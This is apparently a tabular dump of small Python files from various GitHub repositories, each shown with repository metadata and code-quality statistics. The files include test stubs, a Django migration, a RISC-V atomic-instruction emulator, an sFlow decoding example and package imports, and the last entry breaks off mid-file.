| 14.857143 | 57 | 0.682692 | 24 | 208 | 5.875 | 0.875 | 0.099291 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035088 | 0.177885 | 208 | 13 | 58 | 16 | 0.789474 | 0.399038 | 0 | 0 | 0 | 0 | 0.238532 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
1b21ff141c471d5838cf01b609badd94336c8782 | 169 | py | Python | tests/web_platform/css_flexbox_1/test_flexbox_flex_1_1_0_unitless.py | fletchgraham/colosseum | 77be4896ee52b8f5956a3d77b5f2ccd2c8608e8f | [
"BSD-3-Clause"
] | null | null | null | tests/web_platform/css_flexbox_1/test_flexbox_flex_1_1_0_unitless.py | fletchgraham/colosseum | 77be4896ee52b8f5956a3d77b5f2ccd2c8608e8f | [
"BSD-3-Clause"
] | null | null | null | tests/web_platform/css_flexbox_1/test_flexbox_flex_1_1_0_unitless.py | fletchgraham/colosseum | 77be4896ee52b8f5956a3d77b5f2ccd2c8608e8f | [
"BSD-3-Clause"
] | 1 | 2020-01-16T01:56:41.000Z | 2020-01-16T01:56:41.000Z | from tests.utils import W3CTestCase
class TestFlexbox_Flex110Unitless(W3CTestCase):
vars().update(W3CTestCase.find_tests(__file__, 'flexbox_flex-1-1-0-unitless'))
| 28.166667 | 82 | 0.804734 | 21 | 169 | 6.142857 | 0.809524 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.058065 | 0.08284 | 169 | 5 | 83 | 33.8 | 0.774194 | 0 | 0 | 0 | 0 | 0 | 0.160714 | 0.160714 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
1b458c8737ac2443b2b71152a8ad392fff1141c1 | 224 | py | Python | imagelib/image/image_writers/__init__.py | susautw/imagelib | e582ed2139a15b0aefe16c71b4b476a5b30b7b99 | [
"MIT"
] | null | null | null | imagelib/image/image_writers/__init__.py | susautw/imagelib | e582ed2139a15b0aefe16c71b4b476a5b30b7b99 | [
"MIT"
] | null | null | null | imagelib/image/image_writers/__init__.py | susautw/imagelib | e582ed2139a15b0aefe16c71b4b476a5b30b7b99 | [
"MIT"
] | null | null | null | __all__ = ['ImageWriter', 'BlockingImageWriter', 'ThreadingImageWriter']
from .image_writer import ImageWriter
from .blocking_image_writer import BlockingImageWriter
from .threading_image_writer import ThreadingImageWriter
| 37.333333 | 72 | 0.857143 | 21 | 224 | 8.714286 | 0.47619 | 0.180328 | 0.278689 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080357 | 224 | 5 | 73 | 44.8 | 0.88835 | 0 | 0 | 0 | 0 | 0 | 0.223214 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
1b8cfa31dacd64d1796d524f0c01e5f4965a18e5 | 115 | py | Python | code/displayData.py | Tobiaskri/Heart-Rate-Measurement | b61d927075a1978c2e01ae00ef8c4ce52ac39a96 | [
"MIT"
] | null | null | null | code/displayData.py | Tobiaskri/Heart-Rate-Measurement | b61d927075a1978c2e01ae00ef8c4ce52ac39a96 | [
"MIT"
] | null | null | null | code/displayData.py | Tobiaskri/Heart-Rate-Measurement | b61d927075a1978c2e01ae00ef8c4ce52ac39a96 | [
"MIT"
] | null | null | null | import cv2
import numpy as np
from matplotlib import pyplot as plt
def display(in_signal):
return 0
| 12.777778 | 37 | 0.704348 | 18 | 115 | 4.444444 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02381 | 0.269565 | 115 | 8 | 38 | 14.375 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.6 | 0.2 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 5 |
1b9aac9dd859af161684c00a44285082bccfedb4 | 1,285 | py | Python | CodeStomp/AmyCare/fit/migrations/0005_auto_20201123_1627.py | mayank712jindal/Code-Innovation-Series-ChitkaraUniversity | 43adf0b75a076d3d6821b20c103c8c079655b77e | [
"MIT"
] | null | null | null | CodeStomp/AmyCare/fit/migrations/0005_auto_20201123_1627.py | mayank712jindal/Code-Innovation-Series-ChitkaraUniversity | 43adf0b75a076d3d6821b20c103c8c079655b77e | [
"MIT"
] | null | null | null | CodeStomp/AmyCare/fit/migrations/0005_auto_20201123_1627.py | mayank712jindal/Code-Innovation-Series-ChitkaraUniversity | 43adf0b75a076d3d6821b20c103c8c079655b77e | [
"MIT"
] | null | null | null | # Generated by Django 3.1.3 on 2020-11-23 10:57
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('fit', '0004_auto_20201123_1625'),
]
operations = [
migrations.AlterField(
model_name='disease',
name='med1',
... | 29.204545 | 74 | 0.550195 | 125 | 1,285 | 5.536 | 0.344 | 0.17341 | 0.216763 | 0.251445 | 0.754335 | 0.754335 | 0.696532 | 0.696532 | 0.696532 | 0.628613 | 0 | 0.055872 | 0.31751 | 1,285 | 43 | 75 | 29.883721 | 0.733181 | 0.035019 | 0 | 0.648649 | 1 | 0 | 0.074313 | 0.018578 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.027027 | 0 | 0.108108 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
59ede0145617a3839ed5200c99ff307cf934a3c6 | 29 | py | Python | books/modernvim/bubba.py | argodev/learn | d815beb9c1f8fa3dd8cd917640ebcca5822205c3 | [
"MIT"
] | null | null | null | books/modernvim/bubba.py | argodev/learn | d815beb9c1f8fa3dd8cd917640ebcca5822205c3 | [
"MIT"
] | 15 | 2020-01-28T22:25:10.000Z | 2022-03-11T23:21:02.000Z | books/modernvim/bubba.py | argodev/learn | d815beb9c1f8fa3dd8cd917640ebcca5822205c3 | [
"MIT"
] | null | null | null | def mytest:
print('hello')
| 7.25 | 15 | 0.655172 | 4 | 29 | 4.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172414 | 29 | 3 | 16 | 9.666667 | 0.791667 | 0 | 0 | 0 | 0 | 0 | 0.178571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
9410a9cc12a526f7d2a2f9edbe57e23cdff71bad | 76 | py | Python | boards/esp32/libraries/legacy/projects/wifi_http/02_rtc.py | iot49/IoT49 | 243673db2de477737e23a5da96cd60429c113f87 | [
"MIT"
] | null | null | null | boards/esp32/libraries/legacy/projects/wifi_http/02_rtc.py | iot49/IoT49 | 243673db2de477737e23a5da96cd60429c113f87 | [
"MIT"
] | null | null | null | boards/esp32/libraries/legacy/projects/wifi_http/02_rtc.py | iot49/IoT49 | 243673db2de477737e23a5da96cd60429c113f87 | [
"MIT"
] | null | null | null | from machine import RTC
rtc = RTC()
rtc.ntp_sync(server="hr.pool.ntp.org")
| 15.2 | 38 | 0.723684 | 14 | 76 | 3.857143 | 0.714286 | 0.333333 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118421 | 76 | 4 | 39 | 19 | 0.80597 | 0 | 0 | 0 | 0 | 0 | 0.197368 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
9432c8359135221a448f0f3b597d38f3d0bb46c6 | 3,179 | py | Python | riscemu/instructions/RV32A.py | jodalyst/riscemu | cede73c3c93c1d00168aa020dd9d982a213e3572 | [
"MIT"
] | 9 | 2021-07-08T11:22:55.000Z | 2022-01-30T10:32:48.000Z | riscemu/instructions/RV32A.py | jodalyst/riscemu | cede73c3c93c1d00168aa020dd9d982a213e3572 | [
"MIT"
] | 8 | 2021-12-03T18:16:19.000Z | 2022-03-31T20:49:09.000Z | riscemu/instructions/RV32A.py | jodalyst/riscemu | cede73c3c93c1d00168aa020dd9d982a213e3572 | [
"MIT"
] | 2 | 2022-01-16T05:50:04.000Z | 2022-03-23T21:27:27.000Z | from .InstructionSet import InstructionSet, LoadedInstruction
from ..Exceptions import INS_NOT_IMPLEMENTED
from ..helpers import int_from_bytes, int_to_bytes, to_unsigned, to_signed
class RV32A(InstructionSet):
"""
The RV32A instruction set. Currently, load-reserved and store conditionally are not supported
... | 40.240506 | 103 | 0.659956 | 473 | 3,179 | 4.217759 | 0.154334 | 0.066667 | 0.055138 | 0.137845 | 0.782456 | 0.782456 | 0.782456 | 0.769424 | 0.769424 | 0.73584 | 0 | 0.009241 | 0.217049 | 3,179 | 78 | 104 | 40.75641 | 0.792286 | 0.063857 | 0 | 0.534483 | 0 | 0 | 0.064702 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.189655 | false | 0 | 0.051724 | 0 | 0.258621 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
94373ac628451c2bde608195ff8cf87e36805a40 | 76 | py | Python | guillotina_volto/interfaces/image.py | enfold/guillotina-volto | d38ee300470c813c99341eaeb2ba8a2b5fb7d778 | [
"BSD-2-Clause"
] | 5 | 2018-11-11T07:19:06.000Z | 2020-01-18T11:04:15.000Z | guillotina_volto/interfaces/image.py | enfold/guillotina-volto | d38ee300470c813c99341eaeb2ba8a2b5fb7d778 | [
"BSD-2-Clause"
] | 4 | 2021-05-14T20:21:03.000Z | 2021-11-18T01:27:04.000Z | guillotina_volto/interfaces/image.py | enfold/guillotina-volto | d38ee300470c813c99341eaeb2ba8a2b5fb7d778 | [
"BSD-2-Clause"
] | 2 | 2019-06-14T10:42:22.000Z | 2020-05-09T13:09:09.000Z | from zope.interface import Interface
class IHasImage(Interface):
pass
| 12.666667 | 36 | 0.776316 | 9 | 76 | 6.555556 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.171053 | 76 | 5 | 37 | 15.2 | 0.936508 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 5 |
94655e3455e99919f25cf1903d2673f2bcb6fd06 | 65 | py | Python | vedastr/metrics/__init__.py | csmasters/vedastr | 7513384ab503f15dc574c7d92b75ff2092354757 | [
"Apache-2.0"
] | 475 | 2020-03-17T01:46:32.000Z | 2022-03-29T23:30:15.000Z | vedastr/metrics/__init__.py | csmasters/vedastr | 7513384ab503f15dc574c7d92b75ff2092354757 | [
"Apache-2.0"
] | 71 | 2020-04-01T04:17:47.000Z | 2021-11-18T06:55:14.000Z | vedastr/metrics/__init__.py | csmasters/vedastr | 7513384ab503f15dc574c7d92b75ff2092354757 | [
"Apache-2.0"
] | 108 | 2020-02-21T10:30:37.000Z | 2022-03-21T12:03:30.000Z | from .accuracy import Accuracy
from .builder import build_metric
| 21.666667 | 33 | 0.846154 | 9 | 65 | 6 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.123077 | 65 | 2 | 34 | 32.5 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9471fd555a4a563948f9f8b077dd11a1229b9194 | 58 | py | Python | src/blueprints/legal/__init__.py | primeithard/yandex-disk-telegram-bot | 21aecdecd503d0ac441c6ef7f1980ff52370d9aa | [
"MIT"
] | 15 | 2020-05-12T23:23:38.000Z | 2022-02-22T00:44:06.000Z | src/blueprints/legal/__init__.py | primeithard/yandex-disk-telegram-bot | 21aecdecd503d0ac441c6ef7f1980ff52370d9aa | [
"MIT"
] | 5 | 2020-08-03T08:57:37.000Z | 2022-01-31T08:30:03.000Z | src/blueprints/legal/__init__.py | primeithard/yandex-disk-telegram-bot | 21aecdecd503d0ac441c6ef7f1980ff52370d9aa | [
"MIT"
] | 7 | 2020-08-15T20:24:56.000Z | 2021-09-26T21:43:46.000Z | from .bp import bp as legal_blueprint
from . import views
| 19.333333 | 37 | 0.793103 | 10 | 58 | 4.5 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172414 | 58 | 2 | 38 | 29 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 5 |
9475afde7c2bd1d8a2bee0a9cdfd05c67b13c7e6 | 291 | py | Python | autokeras/__init__.py | MustafaKadioglu/autokeras | e75f3194ac4ed6741bc64583fda483dc2f6dfe09 | [
"MIT"
] | 1 | 2019-06-12T17:02:44.000Z | 2019-06-12T17:02:44.000Z | autokeras/__init__.py | raamana/autokeras | e75f3194ac4ed6741bc64583fda483dc2f6dfe09 | [
"MIT"
] | null | null | null | autokeras/__init__.py | raamana/autokeras | e75f3194ac4ed6741bc64583fda483dc2f6dfe09 | [
"MIT"
] | 1 | 2019-06-27T17:23:26.000Z | 2019-06-27T17:23:26.000Z | from autokeras.image.image_supervised import ImageClassifier, ImageRegressor
from autokeras.text.text_supervised import TextClassifier, TextRegressor
from autokeras.tabular.tabular_supervised import TabularClassifier, TabularRegressor
from autokeras.net_module import CnnGenerator, MlpModule | 72.75 | 84 | 0.896907 | 31 | 291 | 8.290323 | 0.548387 | 0.202335 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.065292 | 291 | 4 | 85 | 72.75 | 0.944853 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
8493e775077af0562c183f2c490a27ab5ace8333 | 553 | py | Python | example.py | reening/pysflow | 86195dd037c531070eb676bb3f08286e97e8fcff | [
"BSD-3-Clause"
] | 4 | 2019-08-08T06:21:40.000Z | 2020-04-09T04:33:20.000Z | example.py | reening/pysflow | 86195dd037c531070eb676bb3f08286e97e8fcff | [
"BSD-3-Clause"
] | 4 | 2018-11-15T22:33:12.000Z | 2018-11-15T22:44:44.000Z | example.py | reening/pysflow | 86195dd037c531070eb676bb3f08286e97e8fcff | [
"BSD-3-Clause"
] | 3 | 2020-09-05T02:04:12.000Z | 2021-01-24T22:15:01.000Z | from binascii import unhexlify
from pprint import pprint
from sflow import decode
# Example datagram taken from http://packetlife.net/captures/protocol/sflow/
raw = '0000000500000001ac15231100000001000001a6673f36a00000000100000002' +\
'0000006c000021280000040c0000000100000001000000580000040c00000006' +\
... | 30.722222 | 76 | 0.822785 | 34 | 553 | 13.382353 | 0.647059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.544898 | 0.113924 | 553 | 17 | 77 | 32.529412 | 0.383673 | 0.133816 | 0 | 0 | 0 | 0 | 0.603774 | 0.603774 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.3 | 0 | 0.3 | 0.2 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
84cacdd39d5167300718b362cd178fb3567e83cd | 119 | py | Python | bagou/exceptions.py | toxinu/django-bagou | fd4b830d9c309c418a3aa5a76e11fe3b9bee29de | [
"MIT"
] | 4 | 2016-10-17T10:19:49.000Z | 2021-03-31T01:34:00.000Z | bagou/exceptions.py | smvv/django-bagou | a2314ed1af0e465ac7ed6c7b2181e430108e23bb | [
"MIT"
] | null | null | null | bagou/exceptions.py | smvv/django-bagou | a2314ed1af0e465ac7ed6c7b2181e430108e23bb | [
"MIT"
] | 1 | 2016-08-01T14:00:28.000Z | 2016-08-01T14:00:28.000Z | # -*- coding: utf-8 -*-
class BagouException(Exception):
pass
class BagouChannelException(Exception):
pass
| 11.9 | 39 | 0.680672 | 11 | 119 | 7.363636 | 0.727273 | 0.320988 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010417 | 0.193277 | 119 | 9 | 40 | 13.222222 | 0.833333 | 0.176471 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
84d74b4a146f2d1f0d3be4ef13350435008c133a | 19 | py | Python | pyth/plugins/plaintext/__init__.py | eriol/pyth | f2a06fc8dc9b1cfc439ea14252d39b9845a7fa4b | [
"MIT"
] | 47 | 2015-01-26T22:06:53.000Z | 2022-01-04T15:11:14.000Z | pyth/plugins/plaintext/__init__.py | eriol/pyth | f2a06fc8dc9b1cfc439ea14252d39b9845a7fa4b | [
"MIT"
] | 16 | 2015-02-20T18:12:22.000Z | 2021-12-17T09:49:19.000Z | pyth/plugins/plaintext/__init__.py | eriol/pyth | f2a06fc8dc9b1cfc439ea14252d39b9845a7fa4b | [
"MIT"
] | 45 | 2015-01-29T02:47:39.000Z | 2022-01-26T12:50:27.000Z | """
Plaintext
"""
| 3.8 | 9 | 0.473684 | 1 | 19 | 9 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.210526 | 19 | 4 | 10 | 4.75 | 0.6 | 0.473684 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
84eda75a85d9894a19088f3783a9c9d05f4b5294 | 81 | py | Python | AnoutherFile.py | batmansdu/Git_learn | c79e197fa088fae09b6eb19c5fefaaeb411b8caf | [
"Apache-2.0"
] | null | null | null | AnoutherFile.py | batmansdu/Git_learn | c79e197fa088fae09b6eb19c5fefaaeb411b8caf | [
"Apache-2.0"
] | null | null | null | AnoutherFile.py | batmansdu/Git_learn | c79e197fa088fae09b6eb19c5fefaaeb411b8caf | [
"Apache-2.0"
] | null | null | null | print("Another!")
"This is the develop branch for developing some new features."
| 27 | 62 | 0.765432 | 12 | 81 | 5.166667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135802 | 81 | 2 | 63 | 40.5 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0.839506 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
ca4c0cb4c1f8dbabfeb98685cd30cfd9b3d07302 | 42 | py | Python | arrays_tricks.py | dremdem/pythons_handy_stuffs | ae33ea91c0fd47df0fdc1fbe692ec12bda003c8e | [
"MIT"
] | null | null | null | arrays_tricks.py | dremdem/pythons_handy_stuffs | ae33ea91c0fd47df0fdc1fbe692ec12bda003c8e | [
"MIT"
] | null | null | null | arrays_tricks.py | dremdem/pythons_handy_stuffs | ae33ea91c0fd47df0fdc1fbe692ec12bda003c8e | [
"MIT"
] | null | null | null | a = [1, 3, 4, 5]
a.insert(1, 2)
print(a) | 8.4 | 16 | 0.47619 | 11 | 42 | 1.818182 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1875 | 0.238095 | 42 | 5 | 17 | 8.4 | 0.4375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
ca638866123de12ae91eb6b64529e74738e8cd6c | 236 | py | Python | demo/admin.py | DevKor-Team/devkor_hackathon_back | 435fd0552a1efdc7995698bf64b5f7104f3de193 | [
"MIT"
] | null | null | null | demo/admin.py | DevKor-Team/devkor_hackathon_back | 435fd0552a1efdc7995698bf64b5f7104f3de193 | [
"MIT"
] | 1 | 2021-07-12T05:07:12.000Z | 2021-07-12T05:07:12.000Z | demo/admin.py | DevKor-Team/devkor_hackathon_back | 435fd0552a1efdc7995698bf64b5f7104f3de193 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Demo, Emoji, Tag, TechStackTag, Comment
admin.site.register(Demo)
admin.site.register(Tag)
admin.site.register(TechStackTag)
admin.site.register(Comment)
admin.site.register(Emoji)
| 23.6 | 59 | 0.809322 | 33 | 236 | 5.787879 | 0.393939 | 0.235602 | 0.445026 | 0.251309 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080508 | 236 | 9 | 60 | 26.222222 | 0.880184 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.285714 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
ca7f6f4eb09677e1b24f6cff685af8dbc1eec776 | 271 | py | Python | gamelib/data.py | sirtango/LordPong | 93a980baf09ddeda50c9d5c8924d9b19601cb1ea | [
"0BSD"
] | null | null | null | gamelib/data.py | sirtango/LordPong | 93a980baf09ddeda50c9d5c8924d9b19601cb1ea | [
"0BSD"
] | null | null | null | gamelib/data.py | sirtango/LordPong | 93a980baf09ddeda50c9d5c8924d9b19601cb1ea | [
"0BSD"
] | null | null | null |
import os.path
ROOT = os.path.join(os.path.dirname(__file__), '..')
DATA = os.path.join(ROOT, 'data')
def scenefile(scenename, filename):
return os.path.join(os.path.join(DATA, scenename), filename)
def datafile(filename):
return os.path.join(DATA, filename)
| 22.583333 | 64 | 0.708487 | 40 | 271 | 4.7 | 0.35 | 0.223404 | 0.265957 | 0.12766 | 0.37234 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125461 | 271 | 11 | 65 | 24.636364 | 0.793249 | 0 | 0 | 0 | 0 | 0 | 0.022222 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0.285714 | 0.714286 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
04b415ffe4eb184fef12097cf2d416ac90eb547a | 33 | py | Python | examples/shadowing2.py | joeldentici/python_stepper | ab32c62d0d0333ad901d7329fb198c7a23988007 | [
"MIT"
] | 1 | 2020-11-29T20:00:39.000Z | 2020-11-29T20:00:39.000Z | examples/shadowing2.py | joeldentici/python_stepper | ab32c62d0d0333ad901d7329fb198c7a23988007 | [
"MIT"
] | null | null | null | examples/shadowing2.py | joeldentici/python_stepper | ab32c62d0d0333ad901d7329fb198c7a23988007 | [
"MIT"
] | null | null | null | (lambda x: lambda x: x + x)(5)(5) | 33 | 33 | 0.545455 | 8 | 33 | 2.25 | 0.375 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.074074 | 0.181818 | 33 | 1 | 33 | 33 | 0.592593 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
04bafb5d3cb0a3354f4e6bc4b32a47bfd79eea2f | 429 | py | Python | erin/db/abc.py | DiscordFederation/Enigma | e337284c1750c45be46407a0baa19afe2b4eb88e | [
"Apache-2.0"
] | 6 | 2019-05-17T12:56:05.000Z | 2019-12-13T02:03:08.000Z | erin/db/abc.py | DiscordFederation/Enigma | e337284c1750c45be46407a0baa19afe2b4eb88e | [
"Apache-2.0"
] | 17 | 2019-01-24T04:15:49.000Z | 2020-05-14T14:04:04.000Z | erin/db/abc.py | OpenDebates/Erin | e337284c1750c45be46407a0baa19afe2b4eb88e | [
"Apache-2.0"
] | 1 | 2018-05-12T03:57:18.000Z | 2018-05-12T03:57:18.000Z | from abc import ABC, abstractmethod
class DatabaseDriverBase(ABC):
"""
Force implementation of some methods in the event a new driver is
added to the database package.
"""
@abstractmethod
